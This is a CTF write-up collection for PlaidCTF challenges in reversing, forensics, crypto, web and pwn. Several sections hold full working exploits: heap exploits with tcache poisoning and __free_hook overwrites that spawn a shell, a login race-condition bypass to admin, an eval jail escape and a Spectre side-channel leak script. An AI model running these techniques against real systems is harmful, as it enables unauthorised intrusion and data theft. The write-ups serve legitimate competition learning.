It's recommended to read our responsive web version of this writeup.
PCTF{welcome to PlaidCTF}
docker pull whowouldeverguessthis/public
grep -R 'PCTF' /var/lib/docker/
PCTF{well_it_isnt_many_points_what_did_you_expect}
According to capture move
, it will capture the enemy and do play_game
with the next enemy.
if (!should_capture) andalso (not (!has_captured))
then
if (!e_h > 50) then
(TextIO.print ("It was too strong, you failed to capture "^
(color e_name ORANGE));
enemy)
else
let
val _ = should_capture := false
val _ = has_captured := true
val _ = captured := enemy
(* Kill them so that you can heal yourself *)
fun sacrifice_fn (my_h, my_s, their_h, their_s) =
(fn () => (
my_h := min((!my_h)+min(!e_h, !my_s*10), player_max);
e_h := (!e_h-(!my_h)*10);
p_ms := List.filter (fn (n, _) => n <> "Sacrifice") (!p_ms)),
fn () => ()) (* Only used by the AI, not us *)
val _ = p_ms := (List.filter (fn (n, _) => n <> "Capture") (!p_ms))
@[("Sacrifice", sacrifice_fn)]
in
next
end
In the end, find_best
will chose the enemy wich has the maximum strength amoung all enemies, and make the enemy chosen become Posessed enemy
.
fun find_best (this as (Opponent (_, my_s, _, _, next))) best entity =
if (!my_s) > best then find_best next (!my_s) this
else find_best next best entity
| find_best _ _ entity = entity
If we can capture the enemy with max strength, we can de sacrifice_fn
of it, then kill the posessed enemy.
#!/usr/bin/env python
from pwn import *
# PCTF{just_be_glad_i_didnt_arm_cpt_hook_with_GADTs}
host , port = 'everland.pwni.ng' , 7772
y = remote( host , port )
def sp( p ):
y.sendlineafter( '>' , p )
y.sendlineafter( '?' , 'yuawn' )
for _ in range( 5 ):
sp( 'forage' )
sp( 'use' )
sp( '1' )
sp( 'use' )
sp( '3' )
for _ in range( 3 ):
sp( 'fight' )
sp( '2' )
sp( 'fight' )
sp( '4' )
sp( 'fight' )
sp( '4' )
for j in range( 9 ):
sp( 'fight' )
sp( '2' )
for i in range( 8 ):
sp( 'fight' )
sp( '4' )
for j in range( 7 ):
sp( 'fight' )
sp( '2' )
sp( 'fight' )
sp( '5' )
y.interactive()
#! /usr/bin/env python3
from sys import exit
from secret import secret_value_for_password, flag, exec
try:
val = 0
inp = input("Input value: ")
count_digits = len(set(inp))
if count_digits <= 10: # Make sure it is a number
val = eval(inp)
else:
raise
if val == secret_value_for_password:
print(flag)
else:
print("Nope. Better luck next time.")
except:
print("Nope. No hacking.")
exit(1)
Just print the python values: print(vars())
, the payload satisfy the limitation of numbers of set.
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__':
<_frozen_importlib_external.SourceFileLoader object at 0x7f5008e579e8>,
'__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,
'__file__': '/home/guessme/can-you-guess-me.py', '__cached__':
None, 'exit': <built-in function exit>,
'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol',
'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}',
'exec': <function exec at 0x7f5008da0158>,
'val': 0, 'inp': 'print(vars())', 'count_digits': 10}
PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}
We're given a disk image. By using binwalk, we know there are some pictures and an encypted rar file inside the image. After extracting those files, we use zsteg to examine those pictures, and found that they all contain some plaintext, which look pretty suspicious. After we concatenate those plaintext and treat it as the rar's password, we successfully decrypted and decompressed the rar file, which gave us the flag ( a png file ): PCTF{2pac3_3v34ry_wh3r3}
.
The challenge is a tar.gz compressed file. After we decompressed it, we found there were many folders, which all contains a json file and a layer.tar
file.
By checking the repositories
text file, we know that the latest layer is in the folder 24d12bbeb0a9fd321a8decc0c544f84bf1f6fc2fd69fa043602e012e3ee6558b
. By decompressing the layer.tar
in that folder, we found a flag.sh
:
for i in {1..32}
do
test -f $i
if [[ $? -ne 0 ]]
then
echo "Missing file $i - no flag for you!"
exit
fi
done
echo pctf{1_b3t$(cat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32)}
So we can see that there should be 32 files ( which contains a single character in each file ) after we decompress all the layer.tar
in each folders. Also by examine the json file in each folder, we can infer the relationship between each layer ( some of them doesn't contain the info though, we'll have to guess ).
After we decompressed all the layer.tar
, get all the required files and put those characters together ( require some guessing ), we finally got the flag: pctf{1_b3t_u_couldnt_c0nt4in3r_ur_l4ught3r}
We need to search a integer x so that
- 333! % x == 0
- x is close enough to
$\sqrt{333!}$
We start with
#!/usr/bin/python
import gmpy2
from gmpy2 import mpz
def factors(n):
result = set()
n = mpz(n)
for i in range(1, gmpy2.isqrt(n) + 1):
div, mod = divmod(n, i)
if not mod:
result |= {mpz(i), div}
return result
n = gmpy2.fac(333)
y = int(gmpy2.isqrt(n))
start = int(gmpy2.fac(188))
# start * 11.99..... == y
start *= 12
# we keep searching z so that (y / (start * x)) become closer to 1.
# the goal is int((y / (start * x)) * 1e8) == 100000000
start //= 10000000000
# now we search x from int(y / (start))
x = int(y / (start))
while 1:
# We run two script simultaneously
# one is x += 1, while the other is x -= 1
x -= 1
ret = list(factors(x))
ans = []
sign = 1
for i in ret:
if gmpy2.is_prime(i):
ans.append(i)
if i > 333:
sign = 0
break
if sign and n % (start * x) == 0:
print ('x : ', x)
print ('ans : ', start * x)
exit()
This challenge probably inspired by the game The Witness. It's a puzzle game, you have to solve 5 rounds within certain time limit in order to get the flag.
You may notice the server request a webasm. This webasm will do all the constraints checking for the puzzle. However, I didn't take much time on reversing the webasm because I think it will be much more easier for me to figure the rules out by playing numerous of times. xD
There are 6 types of constraints:
- Circle - Different color circle should not be in the same region.
- Double Circle - One region can only have one pair of same color circle/double circle.
- Tetris block (yellow) - The region must fit that kind of tetris block.
- Edge block (teal) - The number of edge you should passby for that block.
- Triangle -
Must passby the bottom edge of the block (maybe?).After asking 217, (passby edge + 2) % 3 + 1 = number of triangle in a region. - Rectangle - Can't passby the edge of the block.
P/S: The BGM made me crazy! >:(
pctf{what_if_i_made_firmament_instead}
The binary simulates 15 people having a meal together. Each thread represents one person, and each person has their own style (the order of grabbing/putting back the food). There are 15 different seats, and you can only take the (five, to be precise) food near your seat. The goal is to give a seat order so that deadlock will not happen.
However, in this challenge, just patch the binary [0x180b:0x18e7] to nop
, then you will get the flag. (The author released a new challenge for the fixed version after that.)
PCTF{1 l1v3 1n th3 1nt3rs3ct1on of CSP and s3cur1ty and parti3s!}
- Reverse the binary
- Find a isomorphism between that strange numeral system and Z (Integer Group).
- Calculate modular Ackermann function.
- Reduce the exponent using euler's totient.
It's a binary that will calculate the flag. But it needs enormous memory and time.
It use a strange numeral system, and we figure out that it can be transform into 256-based integer with a pre-generated mapping of 0-256.
After that we found that the binary is calculating Ackermann function mod some integer.
So all we need to do is calculate that value with some horrible number theory blackmagic. If you are a pure reversing guy, you may want to skip this. Otherwise, see our detailed writeup here.
This challenge give us a plpgsql microservice.
Our request, response, cookie, session will be processed with plpgsql.
The plpgsql source code is in http://triggered.pwni.ng:52856/static/schema.sql
And the vulnerability is under the login trigger/ function:
CREATE TABLE web.session (
uid uuid PRIMARY KEY DEFAULT uuid_generate_v4(),
user_uid uuid,
logged_in boolean NOT NULL DEFAULT FALSE
);
---------- POST /login
CREATE FUNCTION web.handle_post_login() RETURNS TRIGGER AS $$
DECLARE
form_username text;
session_uid uuid;
form_user_uid uuid;
context jsonb;
BEGIN
SELECT
web.get_form(NEW.uid, 'username')
INTO form_username;
SELECT
web.get_cookie(NEW.uid, 'session')::uuid
INTO session_uid;
SELECT
uid
FROM
web.user
WHERE
username = form_username
INTO form_user_uid;
IF form_user_uid IS NOT NULL
THEN
INSERT INTO web.session (
uid,
user_uid,
logged_in
) VALUES (
COALESCE(session_uid, uuid_generate_v4()),
form_user_uid,
FALSE
)
ON CONFLICT (uid)
DO UPDATE
SET
user_uid = form_user_uid,
logged_in = FALSE
RETURNING uid
INTO session_uid;
PERFORM web.set_cookie(NEW.uid, 'session', session_uid::text);
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
ELSE
PERFORM web.respond_with_redirect(NEW.uid, '/login');
END IF;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE TRIGGER route_post_login
BEFORE INSERT
ON web.request
FOR EACH ROW
WHEN (NEW.path = '/login' AND NEW.method = 'POST')
EXECUTE PROCEDURE web.handle_post_login();
---------- POST /login/password
CREATE FUNCTION web.handle_post_login_password() RETURNS TRIGGER AS $$
DECLARE
form_password text;
session_uid uuid;
success boolean;
BEGIN
SELECT
web.get_cookie(NEW.uid, 'session')::uuid
INTO session_uid;
IF session_uid IS NULL
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login');
RETURN NEW;
END IF;
SELECT
web.get_form(NEW.uid, 'password')
INTO form_password;
IF form_password IS NULL
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
RETURN NEW;
END IF;
SELECT EXISTS (
SELECT
*
FROM
web.user usr
INNER JOIN web.session session
ON usr.uid = session.user_uid
WHERE
session.uid = session_uid
AND usr.password_hash = crypt(form_password, usr.password_hash)
)
INTO success;
IF success
THEN
UPDATE web.session
SET
logged_in = TRUE
WHERE
uid = session_uid;
PERFORM web.respond_with_redirect(NEW.uid, '/');
ELSE
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
END IF;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE TRIGGER route_post_login_password
BEFORE INSERT
ON web.request
FOR EACH ROW
WHEN (NEW.path = '/login/password' AND NEW.method = 'POST')
EXECUTE PROCEDURE web.handle_post_login_password();
There is a Race Condition vulnerability.
login process:
POST /login
set a uuid to the session and bind user with our inputusername
POST /login/password
find the user password in db with corresponding uuid in the session, and compare with our inputpassword
- if two passwords are the same, it will update
logged_in=TRUE
if we run step 1 between step 2 and step 3, we can change our user to arbitrary user and pass the password authentication.
exploit:
'''
1. LOGIN as kaibro
2. POST /login with same `session` cookie but different username
'''
import threading
import time
import requests
host = "http://triggered.pwni.ng:52856"
def init(user, sess):
r = requests.get(host + "/logout", cookies={"session":sess})
setuser(user, sess)
def setuser(user, sess):
r = requests.post(host + "/login", data={"username": user}, cookies={"session":sess})
#print(r.headers)
#print(r.text)
def login(pwd, sess):
r = requests.post(host + "/login/password", data={"password": pwd}, cookies={"session": sess})
print(r.headers)
print(r.text)
if "admin" in r.text:
print("Fuckkkkkkk!")
sess = "d505bb4f-343e-47e1-a589-aacb3a4f85c3"
user = "kaibro"
target = "admin"
pwd = "kaibro"
#login(pwd, sess)
#setuser(target, sess)
init(user, sess)
time.sleep(1)
def job():
login(pwd, sess)
time.sleep(1)
t = threading.Thread(target = job)
t.start()
setuser(target, sess)
time.sleep(1)
t.join()
print("Done.")
if we login as admin, we can find out the flag:
- SP_select can let us select a SP and show its value, but this function contains out-of-bound vulnerability.
- We can add two SPs and trigger the vulnerability to leak heap address.
- Create unsortbin.
- Fake a SP_struct pointer on heap and let the value points to the unsortbin, so that we can trigger the vulnerability to leak libc address contained in the unsortbin.
- Fake a SP_struct pointer on heap and let the value points to free_hook, so that we can trigger the vulnerability to modify free_hook to system using sp_isolate2.
- Conduct sp_add(0x6873,0x6873) twice to trigger free_hook('sh').
flag : PCTF{7r335_0n_h34p5_0n_7r335_0n_5l3470r}
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = 'splaid-birch.pwni.ng'
port = 17579
binary = "./splaid-birch"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc.so.6")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def sp_del(index):
r.sendline("1")
r.sendline(str(index))
pass
def sp_get(index):
r.sendline("2")
r.sendline(str(index))
pass
def sp_nth(index):
r.sendline("3")
r.sendline(str(index))
pass
def sp_select(index):
r.sendline("4")
r.sendline(str(index))
def sp_add(index,data):
r.sendline("5")
r.sendline(str(index))
r.sendline(str(data))
def sp_isolate(index,data):
r.sendline("6")
r.sendline(str(index))
r.sendline(str(data))
def sp_isolate2(index,data1,data2):
r.sendline("7")
r.sendline(str(index))
r.sendline(str(data1))
r.sendline(str(data2))
if len(sys.argv) == 1:
r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
else:
r = remote(host ,port)
if __name__ == '__main__':
sp_add(0x11,0)
sp_add(0x12,0)
sp_select(531)
heap = int(r.recvline()) - 0x12f8
print("heap = {}".format(hex(heap)))
sp_select(0)
r.recvline()
sp_add(0x13,0)
sp_add(0x14,0)
sp_add(0x1,0)
sp_add(0 ,heap+0x30b0)
for i in xrange(155):
sp_add(0x20+i ,0)
sp_select(-1865)
libc = int(r.recvline()) - 0x3ebca0
print("libc = {}".format(hex(libc)))
sp_select(0)
r.recvline()
free_hook = 0x3ed8e8 + libc
realloc_hook = 0x3ebc28 + libc
malloc_hook = 0x3ebc30 + libc
sp_add(0x200,(-((heap+0x1500)*2))&0xffffffffffffffff)
sp_add(0x201,0)
sp_add(0x202,free_hook-0x18)
sp_isolate2(free_hook-0x18,0,0x202)
magic = libc + 0x4f322
magic = libc + 0x10a38c
system = libc + 0x00000000004f440
sp_select(-941)
sp_isolate2(system,0,-941)
sp_add(0x6873,0x6873)
sp_add(0x6873,0x6873)
r.recvline()
r.sendline("ls")
r.interactive()
According to spectre-attack-exploit, we know there must be a buffer[256 * 512] for testing access time. First, assign buffer[i * 512] for each i to prevent copy on write zero page problem, and flush out it from cache line.
However, we do not have
``` can be used, but there are 32MB space we can use.
Usually, L3 Cache size is 8MB, so we can flush out the buffer from by accessing the other space which is far away from buffer.
Second, here is
```builtin_bc
```.
```c
signed __int64 __fastcall builtin_bc(unsigned __int64 a1)
{
signed __int64 result;
result = -1LL;
if ( *(_QWORD *)the_vm > a1 )
result = *(unsigned __int8 *)(the_vm + a1 + 8);
return result;
}
We can use it for training speculative execution, pass argument with
``` sequentially. CPU do speculative execution and leak the value of
```the_vm+0x1018+8
``` by following flow.
```c
a = builtin_bc(0x1018)
buffer[a*512] = 1
Then, just using
``` to get the access time of buffer and store it in output memory region. Analyze it and known which is spectre.
#### Exploitation
```python
from pwn import *
import random
r = process(["./spectre","flag"])
def combine(a,b):
return p8(((b&7)<<3)+(a&7))
def Epilogue():
return p8(0)
def Cdq(reg_dst, reg_src32d):
return p8(1)+combine(reg_dst, reg_src32d)
def Add(reg_dst, reg_src):
return p8(2)+combine(reg_dst, reg_src)
def Sub(reg_dst, reg_src):
return p8(3)+combine(reg_dst, reg_src)
def And(reg_dst, reg_src):
return p8(4)+combine(reg_dst, reg_src)
def Shl(reg_dst, reg_src):
return p8(5)+combine(reg_dst, reg_src)
def Shr(reg_dst, reg_src):
return p8(6)+combine(reg_dst, reg_src)
def Mov(reg_dst, reg_src):
return p8(7)+combine(reg_dst, reg_src)
def Movc(reg_dst, const32):
return p8(8)+p8(reg_dst)+p32(const32)
def Load(reg_dst, mem_src):
return p8(9)+combine(reg_dst, mem_src)
def Store(mem_dst, reg_src):
return p8(10)+combine(mem_dst, reg_src)
def Builtin(reg_dst, func_num):
return p8(11)+combine(reg_dst, func_num)
def Loop(reg, times, dest):
return p8(12)+p8((reg&7)<<3)+p32(times)+p32(dest)
def access_init(target):
return Movc(0, target) + Movc(5, 512)
def access_body(val):
return Movc(6,val) + Store(0, 6) + Add(0, 5)
def train_init():
return Movc(1, array2)
def train_body():
ret = ''
# Training part
for i in range(3):
ret += Movc(0, 0x61) + Builtin(0, 0) + Movc(2, 9) + Shl(0, 2) + Add(0, 1) + Load(5, 0)
# Access which byte we want to leak
ret += Movc(0, 0x1019+2) + Builtin(0, 0) + Movc(2, 9) + Shl(0, 2) + Add(0, 1) + Load(5, 0)
return ret
def test_time_init():
return Movc(5, 0)
def test_time_body():
ret = Movc(3, 0) + Movc(2,1) + Movc(1,0)
ret += Add(1,5) + Add(3,2) + Loop(3, 166, len(code)+len(ret))
ret += Movc(3,13) + Add(1,3) + Movc(3,255) + And(1,3) + Mov(4,1) + Movc(6,9) + Shl(1,6) + Movc(6,array2) + Add(6,1)
ret += Builtin(1, 1) + Load(0, 6) + Builtin(0, 1) + Sub(0, 1)
ret += Movc(3,3) + Shl(4,3) + Add(4, 7) + Store(4,0) + Movc(3,1) + Add(5,3)
return ret
def get_loop(reg, cond, val):
return Loop(reg, cond, val);
array2 = 0x1800000
flush_use = 0x800000
code = ''
code += Movc(7,0)
# array2 is use to verify cache hit
# Fist assign prevent copy on write zero page
code += access_init(array2)
code += access_body(0x1) + get_loop(0, array2+0x7fff00, len(code))
code1 = code
# Flush out cache by accessing other mem
for i in range(100):
code += access_init(flush_use)
code += access_body(i) + get_loop(0, flush_use+0xffff00, len(code))
# training speculative execution
code += Movc(6,0)
code += (train_init() + train_body()) + Movc(5,1) + Add(6,5) + Loop(6,50-1,len(code))
# Test access time with array2[i*512] for i in range(256)
code += test_time_init()
code += test_time_body() + get_loop(5, 255, len(code))
code += Movc(6, 2048) + Add(7, 6) + get_loop(7, 0x800, len(code1))
code += Epilogue()
payload = p64(len(code))+code
# output bytecodes
with open("code","w") as file:
file.write(payload)
# analyze output
r.send(payload)
data = r.recvall()
for i in range(0, 0x1000, 8):
if(u64(data[i:i+8]) < 80):
print(chr( (i/8 ) % 256), u64(data[i:i+8]))
r.interactive()
- There is a heap overflow at Recant Function when needle length is larger than haystack
- Overwrite the size to leak libc and heap address
- Overwrite the tcache's fd to malloc at __free_hook
- Modify __free_hook to system and get shell
from pwn import *
#r = process(["./suffarring"])
r = remote("suffarring.pwni.ng", 7361)
def add(size,data):
r.sendlineafter(">","A")
r.sendlineafter("?",str(size))
r.sendafter("?",data)
def recant(idx,size,data):
r.sendlineafter(">","R")
r.sendlineafter("?",str(idx))
r.sendlineafter("?",str(size))
r.sendafter("?",data)
def remove(idx):
r.sendlineafter(">","D")
r.sendlineafter("?",str(idx))
def Print(idx):
r.sendlineafter(">","P")
r.sendlineafter("?",str(idx))
context.arch = "amd64"
add(0x4,"a"*0x4)
remove(0)
add(0x20,'a'*0x20)
add(0x30,'a'*0x30)
add(0x28,flat(0,0,0,0x31,0x630))
recant(2,0x30,flat(0,0,0,0x31,0x630)+p64(0x151))
add(0x500,'a'*0x500)
add(1,"a")
remove(3)
Print(2)
r.recvuntil("> ")
r.recvn(0x430)
heap = u64(r.recvn(0x8)) - 0x26a0
r.recvn(0x1f0)
libc = u64(r.recvn(0x8)) - 0x3ebca0
print hex(heap)
print hex(libc)
add(0x4,"a"*0x4)
remove(3)
add(0x4,"a"*0x4)
remove(3)
add(0x30,'a'*0x30)
data = flat(0,0,0,0x31,0,0,0,0,0,0x31,
0,0,0,0,0,0x31,
0x0,0,0,0,0,0x31,
libc+0x3ed8e8,0,0,0,0,0x31,
0x120,0,0,0,0,0x31,)
data += p64(len(data)+0x10)
add(len(data),data)
recant(5,len(data)+8,data+p64(0x8d1))
add(0x3,"sh\x00")
add(0x20,p64(libc+0x4f440)+p64(0)*3)
remove(6)
r.interactive()
The service is written in C++, which allow us to add/remove/view a data. Each data will be appended to a vector, and can be removed/viewed by providing the index of the data.
After playing around with the service, we found that
add(name, data) // data size = 0x20
add(name, data)
remove(0)
view(0)
will leak the heap address. Also
add(name, data) // data size = 0x20
add(name, data)
remove(0)
remove(0)
will make tcache_entry[0] ( chunk size 0x20 ) contains duplicate memory chunks, which allow us to use tcache poisoning to achieve arbitrary write primitive.
First we leak the heap address. Then we allocate data ( size = 0x90 ) for 8 times, and free them all. This will make libc address appears on the heap memory, so later we can leak it with arbitrary read primitive.
To achieve arbitrary read, we use tcache poisoning to overwrite the fd pointer of the tcache entry and let it point to the beginning of the data vector. Next time when we add a data with size 0x200, we'll be able to control the content ( including the data pointer ) of the data vector. With a fake data vector, we can leak the libc address by viewing the data we forged inside the vector.
After that, just use tcache poisoning again to overwrite the tcache entry's fd pointer to __free_hook
, then overwrite the function pointer to system
and call free('sh')
( now system('sh')
) to get the shell and the flag.
Final exploit script:
#!/usr/bin/env python
from pwn import *
elf = ELF("./cppp_noalarm")
libc = ELF("./libc-2.27_50390b2ae8aaa73c47745040f54e602f.so")
def add(name, buf):
r.sendlineafter(":", "1")
r.sendlineafter("name:", name)
r.sendlineafter("buf:", buf)
def remove(idx):
r.sendlineafter(":", "2")
r.sendlineafter("idx:", str(idx))
def view(idx):
r.sendlineafter(":", "3")
r.sendlineafter("idx:", str(idx))
if __name__ == "__main__":
r = remote("cppp.pwni.ng", 4444)
# leak heap
add("1111", "a"*0x200)
add("2222", "b"*0x200)
remove(0)
view(0)
r.recvuntil(" ")
heap = u64(r.recv(6).ljust(8, "\x00")) - 0x13290 - 0xc30
log.success("heap: {:#x}".format(heap))
remove(0) # duplicate tcache 0x210
# make libc address appears on heap
for i in xrange(3, 11): # allocate 0x90 * 8
log.info("alloc 0x90:{}".format(i))
c = chr(ord('a') + i)
add(str(i)*4, c*0x80)
for i in xrange(7, 1, -1): # free 0x90*8
log.info("del 0x90:{}".format(i))
remove(i)
# next allocate 0x210 from tcache ( overwrite fd )
vector_begin = heap + 0x146f0
payload = p64(vector_begin).ljust(0x200, 'z')
add("1111", payload)
# fake vector
libc_ptr = heap + 0x149a0
tcache20 = heap + 0x14750
payload = "i"*8 + p64(libc_ptr) + p64(libc_ptr) + p64(8) + "i"*16 # idx 0
payload += p64(8) + p64(tcache20) + p64(libc_ptr) + p64(8) + p64(0) + p64(0x21) # idx 1
payload += p64(8) + p64(tcache20) + p64(libc_ptr) + p64(0x21) + p64(0) + p64(21) # idx 2
payload = payload.ljust(0x200, "\x00")
add(p64(heap+0x50), payload)
# leak libc
view(0)
r.recvuntil(" ")
libc.address = u64(r.recv(6).ljust(8, "\x00")) - 0x3ebca0
log.success("libc.address: {:#x}".format(libc.address))
# make tcache 0x20 duplicate
add("1", "sh\x00")
add("2", "sh\x00")
remove(0)
remove(0)
# overwrite __free_hook to system
add("4", p64(libc.symbols.__free_hook))
add("5", p64(libc.symbols.system))
# will call free("sh")
add("6", "sh".ljust(0x68, "\x00"))
r.interactive()
flag: PCTF{ccccccppppppppppppPPPPP+++++!}
- Find those known plaintext.
- Count the mean and variance of output bit length at each position.
- Reconstruct the splay tree from the end.
- Recover central directory file header.
- Reconstruct local file header based on central directory file header.
- Reconstruct the initial splay tree.
- Decrypt the zip and enjoy the flag.
The writeup is quite long, you can read it here. Briefly, It tooks me a lot of time find features to segment the bitstream, and find a way to generate plaintext similar to the secret.
We are given two files: the main script horst.py
, used for encryption and decryption; data.txt
, which includes two plaintext-ciphertext pairs. The encryption function is defined as follows:
M = 3
...
def encrypt(m, k):
x, y = m
for i in range(M):
x, y = (y, x * k.inv() * y * k)
return x, y
where x
, y
are both permutations of the set {1, 2, ..., 64}
. Our goal is to recover the key k
. After some calculations (of 3 round encryption), we know that if the plaintext is (x, y)
, then the ciphertext would be (yk'xk'ykk, xk'yyk'xk'ykkk)
, where k'
is k.inv()
, as defined in the main script, the inverse of k
.
Let (x1, y1)
, (c1, d1)
be the plaintext and ciphertext of the first pair, respectively. (x2, y2)
and (c2, d2)
follow the similar definitions. Notice that d1d2' = x1k'y1c1c2'y2'kx2'
holds. Let t = x1'd1d2'x2
and b = y1c1c2'y2'
, we have t = k'bk
, that is, t
is a conjugate of b
with respect to k'
. According to Theorem 2, if we know the cycle notations of b
and t
, then we can construct u
such that t = ubu'
, and u
will be a candidate of k'
. Here is the exploit:
# cycles of b
v1 = map(int, '0 53 9 62 2 36 59 25 39 58 34 41 63 30 21 49 16 3 52 37 57 10 40 8 5 55 24 4 17 29 32 31 27 19 6 7 47 51'.split())
v2 = map(int, '1 15 26 18 61 56 38 42 11 35 43 44 22 54 60 46 20 14 28 23 33 13 48 12 45 50'.split())
# cycles of t = k^-1 * b * k
w1 = map(int, '1 11 46 43 30 17 34 59 23 6 38 50 39 45 47 36 20 52 63 21 4 10 54 24 29 18 9 42 57 37 27 15 62 41 55 40 58 56'.split())
w2 = map(int, '0 61 16 48 31 25 49 3 51 12 28 26 8 7 13 44 2 35 60 53 5 32 33 14 22 19'.split())
for _ in range(len(v1)):
for _ in range(len(v2)):
k = [None] * N
for i in range(len(v2)):
k[v2[i]] = w2[i]
for i in range(len(v1)):
k[v1[i]] = w1[i]
m = Permutation(k)
if (x1, y1) == decrypt((c1, d1), m) and (x2, y2) == decrypt((c2, d2), m):
print "The flag is: PCTF{%s}" % sha1(str(m)).hexdigest()
v2 = [v2[-1]] + v2[:-1]
v1 = [v1[-1]] + v1[:-1]
Flag: PCTF{69f4153d282560cdaab05e14c9f1b7e0a5cc74d1}
We are given three files: the main script rusad
, which can generate an RSA key and use it to encrypt/decrypt files; an encrypted flag flag.enc
; a public key key.sad.pub
. We first examine the public key:
>>> key = pickle.load(open('key.sad.pub', 'rb'))
>>> dir(key)
['E', 'N', 'PRIVATE_INFO', ..., 'bits', 'iPmQ', 'iQmP', 'ispriv', 'ispub', 'priv', 'pub']
iQmP
and iPmQ
are variables used for decryption, and they haven't been deleted when the public key is exported. From the source code, the two variables are defined as follows:
def egcd(a1, a2):
x1, x2 = 1, 0
y1, y2 = 0, 1
while a2:
q = a1 // a2
a1, a2 = a2, a1 - q * a2
x1, x2 = x2, x1 - q * x2
y1, y2 = y2, y1 - q * y2
return (x1, y1, a1)
def genkey(bits):
...
iQmP, iPmQ, _ = egcd(q, p)
return Key(
N=p*q, P=p, Q=q, E=e, D=d%((p-1)*(q-1)), DmP1=d%(p-1), DmQ1=d%(q-1),
iQmP=iQmP%p, iPmQ=iPmQ%q, bits=bits,
)
where p
and q
are both 2048-bit primes. Let a1, a2, _ = egcd(q, p)
, and thus, a1 * q + a2 * p = 1
. Note that -p < a1 < p
, -q < a2 < q
and a1 * a2 < 0
. It implies that (iQmP, iPmQ)
has two possibilities: (a1, a2 + q)
or (a1 + p, a2)
.
Now consider the equation c1 * iQmP + c2 * iPmQ = n + 1
, where n = p * q
. We know that (c1, c2) = (q, p)
is a solution in both cases of (iPmQ, iQmP)
. Thus, the general solution of the equation is (q + k * iPmQ, p - k * iQmP)
, where k
is an integer. To find q
, we could first find a solution (d1, d2)
. Since d1 = q + k' * iPmQ
for some k'
, we search for q
by adding (or subtracting) a multiple of iPmQ
from d1
. Exploit:
t1, t2, g = egcd(key.iQmP, key.iPmQ)
# g = 1
d1, d2 = (key.N+1)*t1, (key.N+1)*t2
k = (d1-(1<<2048))//key.iPmQ
q = (d1-k*key.iPmQ)
while True:
if key.N % q == 0:
break
q -= key.iPmQ
p = key.N // q
# recover the private variables of the key
d, _, g = egcd(key.E, (p-1)*(q-1))
orig_key = Key(
N=key.N, P=p, Q=q, E=key.E, D=d%((p-1)*(q-1)),
DmP1=d%(p-1), DmQ1=d%(q-1),
iQmP=key.iQmP%p, iPmQ=key.iPmQ%q, bits=key.bits
)
pickle.dump(orig_key, open('orig.key', 'wb'))
Then we decrypt the flag.
./rusad decrypt -i flag.enc -o dec.txt -k orig.key
Flag: PCTF{Rub_your_hands_palm_to_palm_vigorously_for_at_least_20_seconds_to_remove_any_private_information}